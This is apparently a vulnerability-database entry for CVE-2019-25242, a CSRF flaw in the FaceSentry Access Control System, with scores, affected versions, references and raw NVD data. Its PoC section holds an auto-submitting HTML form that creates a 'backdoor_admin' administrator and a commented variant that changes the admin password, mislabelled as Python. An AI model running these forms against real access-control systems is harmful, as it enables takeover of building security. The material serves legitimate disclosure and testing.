CVE-2019-25242

Description

FaceSentry Access Control System 6.4.8 contains a cross-site request forgery vulnerability that allows attackers to perform administrative actions without user consent. Attackers can craft malicious web pages to change administrator passwords, add new admin users, or open access control doors by tricking authenticated users into loading a specially crafted webpage.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:o:iwt:facesentry_access_control_system_firmware:5.7.0:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:iwt:facesentry_access_control_system:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:iwt:facesentry_access_control_system_firmware:5.7.2:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:iwt:facesentry_access_control_system:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:iwt:facesentry_access_control_system_firmware:6.4.8:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:iwt:facesentry_access_control_system:-:*:*:*:*:*:*:* - NOT VULNERABLE

FaceSentry Access Control System 6.4.8

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2019-25242: FaceSentry Access Control System -->
<!-- This PoC demonstrates adding a new admin user -->
<html>
  <body>
    <h2>CVE-2019-25242 CSRF Attack PoC</h2>
    <p>Target: FaceSentry Access Control System 6.4.8</p>
    <p>Action: Add new administrator account</p>
    
    <form id="csrfForm" action="http://target-ip:8080/facesentry/admin/userManagement" method="POST">
      <input type="hidden" name="action" value="addUser" />
      <input type="hidden" name="username" value="backdoor_admin" />
      <input type="hidden" name="password" value="P@ssw0rd123" />
      <input type="hidden" name="role" value="administrator" />
      <input type="hidden" name="department" value="IT" />
      <input type="hidden" name="cardNumber" value="12345678" />
    </form>
    
    <script>
      // Auto-submit the form when page loads
      document.getElementById('csrfForm').submit();
    </script>
    
    <p>If you can see this message, the attack may have failed.</p>
  </body>
</html>

<!-- Alternative PoC: Change admin password -->
<!--
<html>
  <body>
    <form action="http://target-ip:8080/facesentry/admin/passwordChange" method="POST">
      <input type="hidden" name="currentPassword" value="original" />
      <input type="hidden" name="newPassword" value="hacked123" />
      <input type="hidden" name="confirmPassword" value="hacked123" />
    </form>
    <script>document.forms[0].submit();</script>
  </body>
</html>
-->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2019-25242
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2019-25242
[3] CVE Details https://www.cvedetails.com/cve/CVE-2019-25242/
[4] VulDB https://vuldb.com/cve/CVE-2019-25242
[5] http://www.iwt.com.hk
[6] https://www.exploit-db.com/exploits/47065
[7] https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5524.php
[8] https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5524.php

Raw JSON Data

JSON

{"cve": {"id": "CVE-2019-25242", "sourceIdentifier": "[email protected]", "published": "2025-12-24T20:15:52.150", "lastModified": "2025-12-30T20:14:33.950", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FaceSentry Access Control System 6.4.8 contains a cross-site request forgery vulnerability that allows attackers to perform administrative actions without user consent. Attackers can craft malicious web pages to change administrator passwords, add new admin users, or open access control doors by tricking authenticated users into loading a specially crafted webpage."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:iwt:facesentry_access_control_system_firmware:5.7.0:*:*:*:*:*:*:*", "matchCriteriaId": "C64B12CF-265E-4FD8-9BCF-95843E5A885B"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:iwt:facesentry_access_control_system:-:*:*:*:*:*:*:*", "matchCriteriaId": "EFE14646-6ED5-46DC-8A19-4F2358F784E5"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:iwt:facesentry_access_control_system_firmware:5.7.2:*:*:*:*:*:*:*", "matchCriteriaId": "A6913639-EBF7-4451-9052-71DB2B3DF925"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:iwt:facesentry_access_control_system:-:*:*:*:*:*:*:*", "matchCriteriaId": "EFE14646-6ED5-46DC-8A19-4F2358F784E5"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:iwt:facesentry_access_control_system_firmware:6.4.8:*:*:*:*:*:*:*", "matchCriteriaId": "26BA8B79-F65D-4D30-8827-B893F500BF8C"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:iwt:facesentry_access_control_system:-:*:*:*:*:*:*:*", "matchCriteriaId": "EFE14646-6ED5-46DC-8A19-4F2358F784E5"}]}]}], "references": [{"url": "http://www.iwt.com.hk", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/47065", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory", "VDB Entry"]}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5524.php", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5524.php", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}